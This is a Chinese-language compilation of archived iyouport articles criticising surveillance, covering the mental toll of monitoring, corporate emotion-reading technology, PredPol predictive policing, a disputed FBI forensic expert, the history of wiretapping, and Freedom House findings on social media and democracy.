从公众的角度来看，我们有权知道政府如何以及何时在监视我们。这是自由的基本组成部分。生活不应该是监狱。

这一切只能依靠透明度革命。

否则，政府监视的未来甚至可能比我们想象的更黑暗、更可怕。

阻断发达国家对其他国家构建大规模监视项目的协助是非常重要的。

更多报告：

- 《是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》
- 《可视化数据：全球监控行业 》
- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动》
- 更多见 “监视与操纵”

○□

原文

持续的监控如何损伤了你的大脑？ - iyouport

监视之恶-关于你可能还不知道的真相

【2018年11月20日存档】事实上我们曾经在《监视之恶》系列文章中提醒过这一悖论，即 如何能在分析最新出现的监视技术并针对性普及隐私保护知识的同时，促进冷静的反抗，而不是自我维稳。反监视活动家们并没有故意去吓唬人，但宣讲保护知识的结果很难避免不会让效果走向另一个方向……

你正在被监视。现在，Cookie 会跟踪您访问的网站以及您在那里点击的任何内容。您的智能手机正在记录您的位置，如果你在家外的任何地方，监控摄像机都很可能会记录你，甚至可能试图识别你的脸。

随着技术和机器学习的不断发展，我们正在以越来越高的速度将监控整合到我们的日常生活中，监控水平也越来越高。这种情况下人们很容易忽略自己被跟踪的所有方式，但是一旦你开始量化它，它很快就会变得令人不安。结果可能会很明显地让你想知道：你的行为和你的大脑一直受到什么样的影响？事实证明，它可能很像抑郁症这样的精神疾患一样具有精神上的负担，甚至可能导致类似于创伤后应激障碍的症状。

让我们首先尝试量化美国人的平均跟踪量，因为它并不总是很明显。当一个大规模突破的消息爆发出来时，我们会立刻变得更加警惕，比如棱镜文件或者剑桥分析公司的丑闻，但是专家说，我们所能知道的监视依旧只是冰山一角。

牛津大学数字伦理实验室的研究员 Christopher Burr 说，“当我们提到监视时，人们传统上会想到像闭路电视摄像机或间谍窃听电话线这样的标准形式的体现。但这些并没有真正体现出越来越可能而且越来越有效的老大哥的一般特征。”

Burr 研究了认知科学和人工智能的哲学，他的研究调查了可以从人类

与机器交互中剔除的各种数据。在最近尚未发表的一项研究中，Burr 和他的同事利用计算机科学竞赛的数据试图编制可以从我们与计算机的日常交互中提取的信息。他们惊讶地发现可以收集的数据范围非常广。程序已经能够通过面部识别来衡量某人的工作满意度，或者解析 Facebook 帖子就可以检测抑郁症的迹象，甚至通过网络摄像头确定某人的心率。

“血液流经皮肤的方式以及皮肤发出信号的方式可以被检测到，虽然不完全准确，但是确实可以通过网络摄像头检测到，这是我的日常工作。我每周花费至少40个小时来研究这个话题，但我仍然对某些可能性感到惊讶“，Burr 说。

Burr 还指出，为了一个目的而收集的数据通常可以被用于从未打算达成的许多其他目的，当然包括恶意目的，就像 Cambridge Analytica 选举丑闻所发生的那样，5000 万 Facebook 用户的个人资料被用于操纵选民。

“监视所产生的恐惧和不确定性比警方采取的直接行动更能有效地抑制人的行为”

这些不同形式的监视对我们任何人的影响取决于几个方面：我们如何意识到我们正在被监视，以及我们认为监督的动机是什么。根据临床心理学家 Brock Chisholm 的说法，他研究了监视对情绪和行为的影响。Chisholm 给了我一个关于人权维护者的研究案例，他们在埃塞俄比亚进行竞选期间受到监视。

“他们突然发现他们的家人可能会被捕，他们自己可能会被捕，有些人会出现创伤后应激障碍症状。”“我们有时称之为闪进，而不是闪回。”（闪进有点类似受迫害妄想，想想中国社会？如果一个异议人士遭到了垃圾邮件入侵或者被怀疑跟踪，他们最先想到的会是什么？99%情况下会是“当局派来的人”，而不是社会流氓。虽然没有任何证据）

Chisholm 解释说，这一切都取决于背景，从这个意义上说，我们的反应与其他动物没有什么不同。被母亲守护的小老鼠会感到安慰和安全。被捕食者守护的小老鼠会感到压力和威胁。

在世界的某些地方，对某些人群的监视是不变的 —— 想想生活在专制政权下的记者和人权活动家们。国际特赦组织的高级研究顾问和技术委员会副主任 Joshua Franco 表示，这种普遍存在的问题很可能被其影响的人视为理所当然。

“监视所产生的恐惧和不确定性比警方直接采取的行动更能抑制人的行为。”“当局不需要真的采取行动，逮捕你，锁定你并将你关进监狱。只要存在这种威胁，如果你觉得自己受到了监视，那么你就会下意识地自我维稳，自我维稳会直接把人推出公共空间。“

许多生活在这些结构之下的人习惯于不得不保持肩膀僵硬并观察自己所说的每一句话，自我维稳已经变成了第二天性。即使他们逃脱这种环境，监视的威胁也会对他们的生活产生长期的影响。

“对很多人来说，这些危害是非常隐蔽的，”Franco 说。“例如，欧洲的乌兹别克斯坦难民可能担心家里的电话受到监控，因为接到外国电话可能会让人们陷入地方当局的滋扰之中。所以他们被迫切断联系。”

随着侵入性技术变得更加便宜和易于获得，政府监控正变得越来越普遍。与德国统一前东德的秘密警察史塔西相比，政府现在可以轻松购买阅读电子邮件和记录电话的间谍软件，而当年他们需要成千上万的线人才能收集到有关平民的信息。

但即使在民主社会中，我们也会自愿“邀请”大量的监视进入我们的生活。不同的人也会接受不同级别和形式的监视。我们中的许多人都知道 Netflix 跟踪我们的观看模式，并使用算法来推荐新的节目和电影，但我们对这种监控感到满意，因为权衡下看起来值得; 我们分享的数据类型值得我们在更准确的建议中获得的“好处”。

“心理健康界的反应与整个社会相似，人们已经放弃了保护自己的尝试”

这就决定了我们对被监视的认识 – 以及我们是否已经同意 – 可能会明显影响到我们的行为和心理，这是一种对人类健康特别危险的焦虑形式。

“有这样的背景，日常焦虑的积累，我们知道它存在，但我们忽略它，我们都没有意识到自己是如何忽略的，”Chisholm 说。“对于那些人来说，即便是较低水平的监视也会增加背景焦虑 —— 人们会有更多的出现人际关系困难，出现更多的争论，他们会更加的高度警惕，扫描周边的威胁。” 人与人之间的信任就没了。这大概就是为什么《中国人组织不起来》的另一个原因。

那么我们该怎么办？现实是我们大多数人都无法逃脱至少某种程度的监视在我们的生活中。

“心理健康界的反应与整个社会相似，我们已经放弃了试图保护自己。几乎感觉无所事事，“斯坦福大学行为心理学研究员 Elias Aboujaoude 博士说。

“当涉及监视时，意义的一个方面归结为控制，所以如果你能够找到你觉得自己没有受到监视的环境，那就会有所帮助，”Chisholm 说。简单说就是，你应该能够给自己找到一片避风港，不论是物理层面的还是心理层面的，在监视无法彻底阻止之前。要想能阻止它，就需要更多人保持精神心理健康的状态，能够清醒冷静地识别环境，有积极的作出改变努力的意识。

这就是为什么要强调对技术的理解。只有理解技术才能让你知道可以如何保护自己。

不管是在线上还是线下，你都应该能找到这样的避风港：请拒绝任何所谓的“智能”家居产品进入你的私密生活环境，给自己的家一个安全的空间；请关注技术专家推荐的在线保护隐私的技巧和工具，使用它们保持匿名，切断在线和线下的身份联系。这不仅能化解迫在眉睫的威胁，更能保持心理健康，只有心理健康才更有希望获得长期的安全。■

原文

政治营销正在努力透射你的大脑 - iyouport

生物识别-眼下最严重的威胁，以及怎么办监视之恶-关于你可能还不知道的真相监视资本主义的世界

【2019年10月16日存档】为什么 BigTech 渴望实时监视你的情绪心理？因为一个庞大的新市场正在形成。而且不是“毛骨悚然”这么简单……

Facebook 和亚马逊的精神错乱似乎只会持续，并且不会很快放缓。

现在，这两家大型企业巨头希望以他们自己的方式进入阅读人类情感的未知领域。

Facebook 想要一个具有五种感官能够读懂人类情感的机器人。

据 *Dailymail* 报道，Facebook 希望具备“敏锐的情绪体察能力”的机器人可以探索世界、识别物品和人，并使其用户能够结交更多朋友。

这些机器人将配备轮子或坦克式履带的装置，使其能够在大多数环境中行走。另外，*Facebook* 还在他们的专利中建议使用驱动系统，这些驱动系统可以让机器人在水下移动、在空中飞行、甚至漂浮在太空中。

我不确定为什么有人会再次信任 Facebook 管理数据，更不用说生物识别数据了，就在包括数据挖掘和操纵在内的众多丑闻被曝光之后。

另一方面，据彭博社报道，亚马逊还在研究以一种完全不同的方式阅读人类情感的技术、利用语音激活的可穿戴设备，通过语调来读取佩戴者的心态。

到目前为止，几乎每个人都熟悉国家监视设备的庞大规模了。问题已经不再是“我们是否受到监视”，而是，入侵还会进一步扩大到什么地步。

当世界各地的政治家已经使用嵌入广告牌中的面部识别技术来判断和

操纵那些视觉上对所显示信息作出反应的人的情绪时，这个概念已经变得格外荒谬。

它甚至还有自己的研究分支：被称为神经政治学。（详见《心理操纵的秘密："行为经济学"＋PR＝？》）

"令人毛骨悚然"这个词如今在科技新闻中几乎遍地可见，虽然不断重复这个词并不能改变灾难的现状，甚至无法帮你深刻理解灾难，

然而，爱荷华大学的一个新项目实际上已经被正式标记为"令人毛骨悚然的研究"。更不用说负责实施这些技术的人根本不知道他们自己在做什么。

隐藏在白色天花板瓷砖中的摄像机秘密扫描所有人的面孔，并且，能够立即计算出他们的心情 —— 读数快乐、沮丧、困惑、恐惧、愤怒和悲伤。

Hedgcock 认为，爱荷华大学是世界上唯一一所拥有这种实时监控情感软件的商学院，它将人脸图像转换为不同情绪的阅读材料。⚠专家们已经看到这种玩意儿在营销、广告、甚至政治活动的世界中的巨大潜力。

这是一个完美的例子，足以说明为什么"令人毛骨悚然"的描述并没有能揭示它的真实含义。

真实的含义是：他们把学生当成了试验品，不仅消除了隐私、还把人类本身货币化了，同时说服学生将自己定位为以人类行为操纵为目标的新行业的先驱。

这不是仅仅"令人毛骨悚然"能描述的，这是技术专家的恶意收购。

目前，该系统声称准确率不超过35%，因为观察到的大多数情绪被归类为"中性"。

但是，Dan Hill（一家致力于这种技术的公司的总裁）和 Hedgcock 教授关于意图的最终陈述中公开承认操纵是最终目标，并且没有任何悔意：

Hedgcock 说，⚠政治战略家已经对神经营销充满兴趣 —— 神经营销是一种使用人体测量为手段的营销领域 ，包括脑部扫描、呼吸频率和皮肤变化测量，以此来衡量被营销对象的反应。

老大哥们正努力假装深沉，他们只是做，并不想对此多说些什么。

相比下 Hedgcock 是足够坦率的，⚠他承认，“在神经营销领域的每一位学者都不会担心什么过度操纵的问题，我们唯一思考的是，如何让它更有效”。

现在应该担心你的家

值得注意的是，至少 Facebook 和亚马逊这两家公司都拥有智能家居设备，在阅读完上述内容后，您应该担心附加在这些家居设备上的摄像头和麦克风所收集的信息……已经不仅仅是你和你的家人被卖掉这么简单了。

在亚马逊方面，似乎该公司很可能希望在各种不同的数码产品中使用这项技术，从 Alexa 等个人助理到零售巨头目前正在开发的新技术。

亚马逊已经宣布正在开发一种个人辅助机器人，因此新的情感技术可以轻松地集成到这个家用机器人中。确实是一种可怕的恐怖思想。电影《少数派报告》剧照

一个新市场

亚马逊和 Facebook 并不是唯一利用人类情感的公司。其他寡头也在蠢蠢欲动。

此前，Activist Post 报道称，沃尔玛还在考虑通过购物车手柄上的传感器监控您的生物识别数据、电脉冲和位置。（在这里看到中文版和视频《别摸东西！》）

依旧有数百家零售商店 —— 很快就是成千上万家 —— 正在调查使用生物识别软件 FaceFirst 来建立一个商店扒手数据库，以帮助打击盗窃。

FaceFirst 被设计为可以在50到100英尺范围内识别任何面部。当顾客走进商店入口时，摄像机会重复捕捉每个购物者的图像，并选择最清晰的存储。

然后，软件分析该图像并将其与零售商编制的“坏蛋客户”数据库进行比较；如果匹配，软件会向员工发送警报，告知“高风险”客户已进入大门。

直到目前面部识别技术甚至仍是可笑的：亚马逊自己的面部识别技术

将28位国会议员标记为“犯罪嫌疑人”，是众所周知的闹剧。

而且此前，英国的另一项面部识别技术测试，结果导致35次错误匹配、和1次错误逮捕。

亚马逊是全球最大的间谍组织的最大技术供应商。

2018年联邦调查局和其他间谍机构已经开始使用相同的亚马逊面部识别技术来筛选监测数据。

Defense One 报道，“预测犯罪系统”正在拉斯维加斯举行的最近一次安全技术会议 ISC West 上展出。

数以百计的零售商店想要面部识别技术的事实本身就是一个可怕的想法。

而且还结合生物识别数据，对于我们未来的购物车而言，更是一个可怕的前景 —— 可以读取人类的情感数据，包括实时检测心理压力。

我们所有人正在进入少数派报告的世界。

公民被灌输了只有放弃实际的人权才能获得“安全”的价值观，一旦人们默许，就没有回头路了。

正如本杰明富兰克林所说：“那些放弃必要的自由去交换一点临时安全的人，既不能得到自由也不会得到安全。”

每一位读到本文的读者，请帮助您的身边人重新思考这笔交易。○

the final statements from Dan Hill (president of one company working with this tech) and Professor Hedgcock about what is intended, is an open admission that manipulation is the end goal and there is no remorse about it.

原文

数十个城市实验了”少数派报告”中描述的技术 - iyouport

少数派报告技术暴政监视之恶-关于你可能还不知道的真相

【2019年4月16日存档】纽约洛杉矶波士顿等城市均通过起诉公共场所撒尿、或醉酒等行为作为刑事犯罪而不是民事犯罪，在制度上实施所谓的破窗效应监管。⚠ 中国大举抓捕闯红灯行人的行为，依据的就是这类没谱的加强型维稳逻辑。现在它还升级了。

根据主板使用公共记录请求获得的文件显示，使用 PredPol 这种高度争议的预测性警务软件的情况比以前报道的要广泛得多。预测性警务就是科幻小说《少数派报告》中曾经描述过的东西。

PredPol 声称可以使用算法预测城市特定500英尺×500英尺内即将发生的犯罪，以便警察可以采取更加严重的巡逻和针对特定区域的监视。

主板获得的文件—包括 PredPol 合同文件，均来自犹他州南乔丹的警察部门; 加州山景城; 佐治亚州亚特兰大; 黑弗里尔; 加利福尼亚州帕洛阿尔托; 加利福尼亚州莫德斯托; Merced，CA; 利弗莫尔，CA; 华盛顿州塔科马; 和加州大学伯克利分校。根据最新的人口普查数据，这些城市和地区拥有超过100万人口。他们都与 PredPol 签订了合同。这些文件证实这些城市与该公司均有关联。

与执法部门共享的其他文件列出了 PredPol 的一些前客户，其中包括另外15个美国和英国城市; 其中一份文件指出该公司还有“更多”客户尚未公开。该公司还在第三方拥有的服务器上无限期保留敏感的犯罪数据。

之前的报告指出，加利福尼亚州的洛杉矶、埃尔金、奥克兰、里士满和米尔皮塔斯等城市的人口总数超过472万，它们都一度使用 PredPol 的软件。主板获得的最新文件显示，Modesto，Merced 和加州大学伯克利分校仍与该公司签订合同。根据这些文件，其中只有利

弗莫尔在本月合同到期后不打算与 PredPol 续签合同。

根据去年使用公共记录请求获得的文件，Predpol 明确鼓励警察部门将其资源用于轻微犯罪的维稳。“解决问题……旨在减少轻罪，就可能减少重罪，”一份文件写道。

PredPol 生成特定地点的犯罪预测数据，精确度小到500乘500平方英尺，在某些情况下甚至可以查明个别房屋或社区。假设在特定时间犯下的某些罪行更有可能在未来的同一地点发生，这些预测就是这么产生的。特定地区的犯罪历史可以在3天，7天，14天或28天的范围内被可视化。

PredPol 建议重点监视已经被报告犯罪的地区。犯罪学专家指出，虽然这种方法有助于指导和组织警务，但并不能确保更好地执行警务。

电子前沿基金会（EFF）基层倡导主任 Shahid Buttar 告诉 Motherboard，预测警务技术不可能产生公正的结果，因为它分析的数据在结构上就存在偏差。Buttar 说，预测性警务“是由客观的历史数据驱动的，这些数据本身反映了长期和普遍的偏见。”“如果你歧视某些社区，并且只检测这些社区内的犯罪，然后尝试提供预测的热图，那么任何人工智能都可以预测犯罪将发生在它们之前发生过的地方。这是严重的偏差。”

哥伦比亚特区法学院法学教授 Andrew Ferguson 告诉 Motherboard，即使该技术在全国各地的警察部门实施，我们也不知道预测性警务是否能有效减少犯罪：“缺乏关于预测性警务技术效率的客观科学，对于这项技术是否有效、甚至它意味着什么，均缺乏对此的详细科学研究，确实没有太多的外部验证能证实其效果。”

关于“犯罪如何可预测”的文件中回避了潜在的“隐私侵犯和宪法问题”，并忽略了过度监管某些领域可能会对有色人种造成不成比例影响的事实。

通过主板获得的文件显示，警官可以使用 PredPol 来选择他们想要“寻找”的犯罪类型，例如故意破坏或涂鸦，个人或商业行为不检、入室盗窃等等。PredPol 会生成带注释的地图（与谷歌地图集成），在地图中显示它认为会发生此类犯罪的人员都在哪儿。

在大多数城市，个别警察都有大量的人力来处理他们想要追究的犯罪行为以及他们想要逮捕的人。即使没有使用此类预测技术，警察部门

也早已证明个别警官的偏见可能会加剧，往往是以牺牲有色人种为代价。根据美国警方射击数据库的统计分析，与白人相比，2011年至2015年的警方枪击事件平均针对黑人的可能性是白人的3.49倍，而在某些地区，这个数字是20倍。

Buttar 告诉 Motherboard，有必要考虑在已经过度监管的社区中使用该算法的潜在致命后果。

“当我们谈论秘密警务或使用秘密算法的公司合同时—所有人都能看到，每天都有无辜的人死于警察暴力，后果无法更严重了”，Buttar 说。

Predpol 鼓励执法部门专注于“破窗效应性警务”，这是基于1982年在 The Atlantic 发表的一篇非科学社论，该社论认为严厉惩罚像涂鸦这样的轻微犯罪行为可有效减少城市犯罪率。这根本无法证实。在20世纪80年代中期，纽约、洛杉矶和波士顿等主要城市均开始通过起诉公共场所撒尿、或醉酒等行为作为刑事犯罪而不是民事犯罪，在制度上实施所谓的破窗效应监管。

⚠ 请注意，中国大举抓捕闯红灯行人的行为，依据的就是这类没谱的加强型维稳逻辑。

PrePol 的 MacDonald 在发送给 Motherboard 的电子邮件中说，破窗效应是2012年至2014年PredPol “最佳实践指南”的一部分 …… 我们在2015年的最佳实践指南中删除了这一点。”

然而，纽约市调查局在2016年发布的一份综合报告中指出，破窗效应的效果完全不明显。报告指出，“没有证据证明这种执法形式对减少暴力犯罪有任何缓解的假设”。

正相反，警察的“破窗效应”维稳模式可能会导致警察通过街道上无处不在的摄像机、社交媒体监控、以及某些情况下采取的空中无人机和悬浮器监视，严重危害公民的人权。

Ferguson 说，警察部门在实施新技术时一直不透明，也不了解这项技术的有效性。“我不知道为什么在预测性警务方面没有更多的透明度—我认为应该有，我认为警方通常不会按照应有的方式重视新技术的透明度。”

EFF 的 Buttar 表示，警务合同的保密性破坏了必需的民主监督。“当[地方政府]使用秘密专有算法与企业数据提供商达成秘密协议时，这

是对公众信任的背叛，”Buttar 说。“这些活动不应该保密。”

据 Motherboard 在10月的报道，17个警察局的网站显示他们已经使用或正在使用 Predpol 服务。通过 FOIA 要求获得的文件证实，这些警察部门均与 PredPol 签订了合同。这些合同早在2013年就表明与 PredPol 之间的关系。与莫德斯托、默塞德和加州大学伯克利分校的合同目前仍处于活跃状态。

合同每年只需4,500美元；与塔科马市签订的为期三年的合同中，最昂贵的合约售价为120,000美元。南约旦、山景城、帕洛阿尔托、亚特兰大、塔科马和埃尔蒙特等几个城市的合同不太近期，而且似乎在2014年至2016年期间已经结束。亚特兰大警察局的发言人告诉主板该城市在2013年至2016年期间与 PredPol 签订过合同。

主板获得的文件也阐明了 PredPol 以前的数据存储实践。根据2013年8月帕洛阿尔托市和 Predpol 之间的协议文件，PredPol 负责执行每日备份，这些备份无限期地保存在云计算公司 Rackspace 拥有的服务器上。在一封发送给 Motherboard 的电子邮件中，PredPol 的 MacDonald 表示该公司“目前不使用” Rackspace 服务器。

Ferguson 指出，数据越敏感，将数据委托给私营公司的风险就越大。“对于某些类型的数据，存在安全和隐私问题的真正风险，”Ferguson 说。“因此，如果您是一家公司……您正在收集大量非结构化数据，您就可以构建、使用和销售这些数据。”

并且，必需警惕，PredPol 作为一家私营公司并非独一无二，该公司已悄然成为全国警察部门日常运作的重要组成部分。Ferguson 告诉主板，全国各地都出现了公共安全私有化的转变。

“如果你依靠一种新技术来帮助你完成普通的警务工作，这意味着你失去了对它如何完成的控制，你必须依靠外界技术专家来真正管理你的警察部门，这是一个严重的问题，因为那些私营公司不具备公共责任，它们只拥有基于利益的激励措施。”

希望这篇报道能给中国社会一些警示，因为你们的政府正在采取相同的公私监控伙伴关系以实施加强性维稳。

Dozens of Cities Have Secretly Experimented With Predictive Policing Software. Documents obtained by Motherboard using public information requests verify previously unconfirmed police

department contracts with predictive policing company PredPol. PredPol isn't unique in its position as a private company that has quietly become instrumental in the day-to-day functioning of police departments around the country. Across the country, there's been a shift toward the privatization of public safety.

原文

牛仔裤的谎言 - iYouPort

监视之恶-关于你可能还不知道的真相

操纵司法结论真是太容易了。你的牛仔裤能暴露你的身份信息，这是为什么？这种监视方法是谁发明的？

「图」

「图」

一个多月前，techdirt 报道了由 Richard Vorder Bruegge 领导的 FBI 取证技术的一个超级奇怪的分支。Vorder Bruegge 声称牛仔裤等大量生产的服装可以与指纹和 DNA 一样独特。根据他的法医“专业知识”，可以使用低分辨率 CCTV 屏幕抓取图像和一大堆箭头的布局图进行匹配—— 用来识别一个人的身份。就是上面图中那样。

这种邪门的 FBI 取证方法仍在被使用中。 其发明者 Vorder Bruegge 已经上升到了可以将他可疑的专业知识传授给他人的叫兽级地位。甚至没有被 FBI 的法医实验室嘲笑！

ProPublica 继续深入研究联邦调查局可疑的法医计划，并发现 Vorder Bruegge 现在位于该国法医组织排行榜的前列！

如今，*Vorder Bruegge* 是全美最具影响力的犯罪实验室科学家之一。他在法证科学标准委员会任职，该委员会为从 *DNA* 到指纹的每个领域制定规则。他是本周在巴尔的摩组织的美国法医学院会议的联合主席，该会议由数千名犯罪实验室专业人士、研究人员、律师和法官组成。

这是因为 Vorder Bruegge 的推荐数量，而不是质量。 ProPublica 引用2013年法律评论文章，称他是“无处不在”的专家证人。这并不是一项高质量的工作。但是，只要有足够的机会，**Vorder Bruegge** 就可以并且已经成功地将未经证实的关于衣服独特性的说法转变成了他所作证的人遭受多年监禁的证据。

他的记录表明，如果能更好地为检方服务，他愿意改变他的专家意见。

在他的报告中，*Vorder Bruegge* 写道，*John Henry Stroman* 和强盗有类似的“面部，鼻子，嘴巴，下巴和耳朵的整体形状。”但 *Vorder Bruegge* //没有宣布匹配//，只说视频和图片是低分辨率的。

尽管如此，检察官//在法庭文件中称//，如果 *Vorder Bruegge* 采取立场，他将证明“这张照片具有足够的分辨率，可以明确说明强盗是 *John Henry Stroman*。”

这不是第一次，也不是最后一次，*Vorder Bruegge* 的实验室说了一件事，而法院被告知了一些完全不同的东西。法庭记录和 *FBI* 实验室档案显示检察官或 *Vorder Bruegge* 的陈述至少在三个案件中与他的原始结论完全不同。

这就是当你关心定罪时所发生的事，而不是那些关于科学时发生的事。

Vorder Bruegge 作为一名地质学家的专业背景当然没有让他为将来盯着嫌疑人所穿的衬衫的颗粒状照片做好准备。但是，这一切对 FBI 来说都不重要，后者发现他是伪科学的有用支持者，可以用来把人们扔进监狱。

FBI 专家很容易影响陪审员和法官的决策，即使在交叉检查中暴露出数学上不可能的确定性水平，或者至少在一个案例中，Vorder Brugge 承认他没能达到检察官希望他达到的结论。

像 **Vorder Bruegge** 这样的工作正是为什么一位著名的联邦法官在 **2015**年从法医委员会"辞职的原因"。**Jed Rakoff** 法官承认司法部不想解决其法医调查中普遍存在的问题，他们只是把污秽扫到地毯下面，表面上看起来光亮就行了。司法部过度投资于半生不熟的科学和“自学成才”的砖家，这意味着会有多少人承受冤狱的折磨？

FBI’s ‘Clothing Match’ Expert Changed Testimony To Better Serve Prosecutors, Co-Chairs Nat’l Forensic Committee. This is what happens when you care about convictions but not all that much about science.

原文

监视简史：从圣经到棱镜 - iyouport

监视之恶-关于你可能还不知道的真相

【2019年11月12日存档】监视如人类文明本身一样古老。

一说到监视人们就会想到棱镜、人脸识别、DNA跟踪、NSO的间谍软件……似乎一切都基于高科技。

但是监视绝非现代社会所独有的。正相反，它有着深远的历史。

正如 Keith Laidler 在他的著作《监视无限：我们如何成为地球上最受关注的人》中提出的那样，“间谍和监视行为基本与人类文明本身一样古老。城市国家和帝国的崛起意味着每个当权者都需要知道他们的敌人的性情和能力，以及他们自己人口的忠诚度和普遍情绪。“

在圣经中就有很多可能的监视例子。

例如撒母耳记中大卫偷看拔示巴洗澡的故事；其中监视被用于大卫自己的个人收获和快乐，而不是更大的利益。

Kieith Laidler 指出的另一个例子可以在“数字之书”中找到其中，“间谍需要收集的信息的细节”主要是关于土地、土地上有多少人、城镇的布局、土壤的质量和树木的存在。

与 David 和 Bathsheba 的故事不同，这里的监视通过收集有关人民和土地的信息，间谍将能够确定其敌人的优势和劣势。

这种监视的使用满足了历史和现代监视的最基本特征之一。

深刻了解“敌人”，以掌握最准确的进攻机会，这就是监视的主要目的。

换句话说，监视被瞄准谁，谁就是监视者的敌人。

在过去的几年里，乔治城大学英美研究副教授 Brian Hochman 一直在研究电子监控 —— 包括可能进行窃听的技术发展、以及150多年来

使其成为社会生活一部分的文化和政治现实。

“美国人已经接受了这样一个痛苦的事实：没有电子窃听就没有电子通讯”，Hochman 说，2017–2018 年他在国家人文科学公共学者基金会工作，他目前正在撰写一本关于监视主题的书。

以下是 Hochman 讲述的关于窃听的早期阶段，以及对“数据监控”的未来的预测。

我们需要多久才能找到窃听的起源？

窃听早在电话出现之前就已经开始了。

最早的禁止窃听法规于1862年在加利福尼亚州写成，就在太平洋电报公司到达西海岸之后，第一个被定罪的人是在1864年一位名为 D.C.Williams 的股票经纪人。

他的计划非常巧妙：他窃听了公司的电报线路，并将他听到的信息卖给了股票交易员。

谁在偷听？

直到20世纪20年代，窃听最常被私人侦探和公司使用。

直到禁酒时期（从1920年至1933年期间）窃听已经成为一种被使用极为普遍的“执法工具”。

但即使在1928年最高法院裁决对政府窃听的合宪性进行了狭隘的肯定之后，其合法性及其道德问题仍然是激烈争论的焦点。

然后，20世纪30年代的揭露表明，窃听是企业管理层根除工会活动的一种普遍且恶毒的工具。

例如，美国参议院的 La Follette 公民自由委员会发现了公司暗中实施的各种恶意窃听行为。

聘请私人侦探监视工会是这一时期最经典的肮脏伎俩之一。

大众何时开始关注窃听问题？

直到在20世纪20年代，普通美国人才开始注意到窃听，直到20世纪50年代窃听才被视为国家问题。

即便如此，当时人们关心的主要是涉及私人窃听问题。

雇佣私人侦探进行窃听在某些地方非常普遍，其中最著名的地方是在纽约。

例如，根据阴暗的“一方同意法” —— 也就是，只要一方同意“听取”，即不成为“窃听” —— 雇用一名电子监视专家（被称为“私人耳朵”）就是合法的，可以监听你家的电话，看看你的妻子是否正在与另一名男子闲聊。

毋庸置疑，美国公众担心这群非官方监视者有能力也有专业知识可以进入迅速扩大的电话网络。

关于“官方”窃听的反馈意见好坏参半。

到1965年，美国的规范政治立场是，为“国家安全”目的的窃听是一种必要的罪恶。

今天，情况正好相反。大多数人担心政府窃听

这开始于水门事件，当时公众看到了行政部门滥用窃听的惊人程度，并且还有斯诺登对国家安全局全球窃听的披露。

但重要的是要认识到，今天为刑事调查而进行的窃听监视数量几乎是“国家安全”窃听的两倍。

由于刑事调查中的窃听不成比例地针对非裔和拉丁裔美国人，因此这不仅仅是一个公民自由问题：更是民权问题。

150多年的窃听历史对于今天来说意味着什么？

如今，电子监控存在着截然不同的东西：它在大规模的程度上运作。

直到20世纪80年代，窃听和电子监视都是高度个性化的。专注于私人之间的通信。

现在，特别是“dataveillance”的兴起，这是从20世纪60年代、70年代甚至20世纪80年代的角度来看，几乎无法想象的监视规模。

Dataveillance 是对元数据的跟踪。美国国家安全局确实窃听人们的谈话，这正是传统意义上被认为是“窃听”的行为，只是现在它用数据形式表现。

重要的不一定是你在电话里说了什么，而是你打电话给谁、打电话的时间、手机的位置、金融交易等等元数据 。

他们对一百万个不同的数据点进行三角测量，他们可以非常清楚地了解发生了什么。

但是，即使是考虑最早期的窃听，其中一个领域也是持续至今的，即：电信行业在监视国家的崛起中的参与程度以及监控数据在电信基础设施与执法基础设施之间流动的程度。

20世纪20年代执法部门为执行酒精战争而采取的最简单的方法就是通过贝尔系统中央交换机窃听电话。如今也一样。

然而，人们却愿意让公司窃听他们

那些智能音箱？它们基本上都是窃听器。

他们一直在听。

这是一种新型的企业监控：如果让他们听你说的话，他们就可以在你想要的时候给你你想要的东西。人们喜欢这样。

但这些数据还会被用来做什么？鬼才相信它是全心全意为人们服务的。

下一步是什么？

历史学家不是在做预测，但可以肯定地说，电子监视和数据监控很可能会继续扩大规模。

监视将更加全球化，更加即时实时。

如果按照曾经以来的样子持续下去，甚至可以更确定地说，公众对这些问题的关注将会消退。

这是关于美国窃听历史如此引人注目的事情之一：它从来就不是秘密，但每隔10到15年就会发生一次重大公共丑闻。

于是，人们会有一些短暂的愤怒时刻，然后就是漫长的自满，就像现在这样 —— 这就是使监视能够以它的方式持续存在的原因之一。

延伸《为什么大规模监视曝光六年后一切都没能改变？》

公民的抵抗是结束噩梦的唯一办法。〇

原文

社交媒体破坏民主的证据越来越多 - iyouport

你的反乌托邦在线生活阴云密布监视之恶-关于你可能还不知道的真相

【2020年5月19日存档】这不是新闻，而是一个尚未解决的严重问题。

去年底，社交媒体对全球民主和互联网自由的负面影响之议题的热度再次达到了顶峰。由于自由之家发布了其“网络自由度2019”报告，该报告警告称：“社会媒体的危机正在恶化”。

该报告警告说，随着越来越多的政府和“不道德的党派分子”将社交媒体用于镇压目的，社交媒体“现在正危险地向不自由方向倾斜”。

这些手段不仅包括在国内外进行的恶性宣传运动，还包括政府越来越多地使用社交媒体进行大规模监视。

自由之家报告说：“由于这些趋势，全球互联网自由在2019年连续第九年下降。”

这些发现基于对65个国家/地区互联网自由状况的评估。结果并不令人鼓舞。在接受评估的65个国家中，有33个国家的互联网自由度明显下降，其中有47个国家被记录了“逮捕涉嫌政治、社会或宗教言论的用户”。

美国在社交媒体危机中的作用

「图」

威权国家继续在互联网自由领域下滑，而中国连续第四年被评为“世界上最严重的互联网自由破坏者”，而美国也在互联网自由度下降的国家之列。

该报告记录了美国执法部门对社交媒体的监视、对旅行者电话的搜查、以及在边境访问旅行者社交媒体账户的监视行为。

该报告还提醒读者，尽管外国行为者参与了针对美国人的出于政治动机的社交媒体虚假宣传运动，但是，这种信息战策略也在越来越多地被美国政客针对本国公民使用。

那些经常与自由之家称之为“数字威权主义”的兴起有密切联系的社交媒体公司总部都位于美国。

- 《数字威权主义的兴起: 灾年之畔》

因此，报告得出的结论是，“互联网自由的未来取决于美国人修复社交媒体的能力”，美国必须在这一努力中发挥带头作用。

不幸的是，报告认为，这是美国在很大程度上忽略的一项任务。

例如，在报告为政策制定者、私营公司和民间社会组织提供的解决社会媒体操纵、监视、互联网自由、及选举网络安全问题的两页详细建议中，所言之处皆进展甚微。

社交媒体对民主构成威胁的证据越来越多

「图」

自由之家的报告只是最新的此类报告，指出了社交媒体对全球自由和民主构成的日益严重的威胁。相关报告还有很多。

几乎同期，查塔姆研究所（Chatham House）的一份报告警告说：“在线政治竞选技术正在扭曲我们的民主政治进程。”

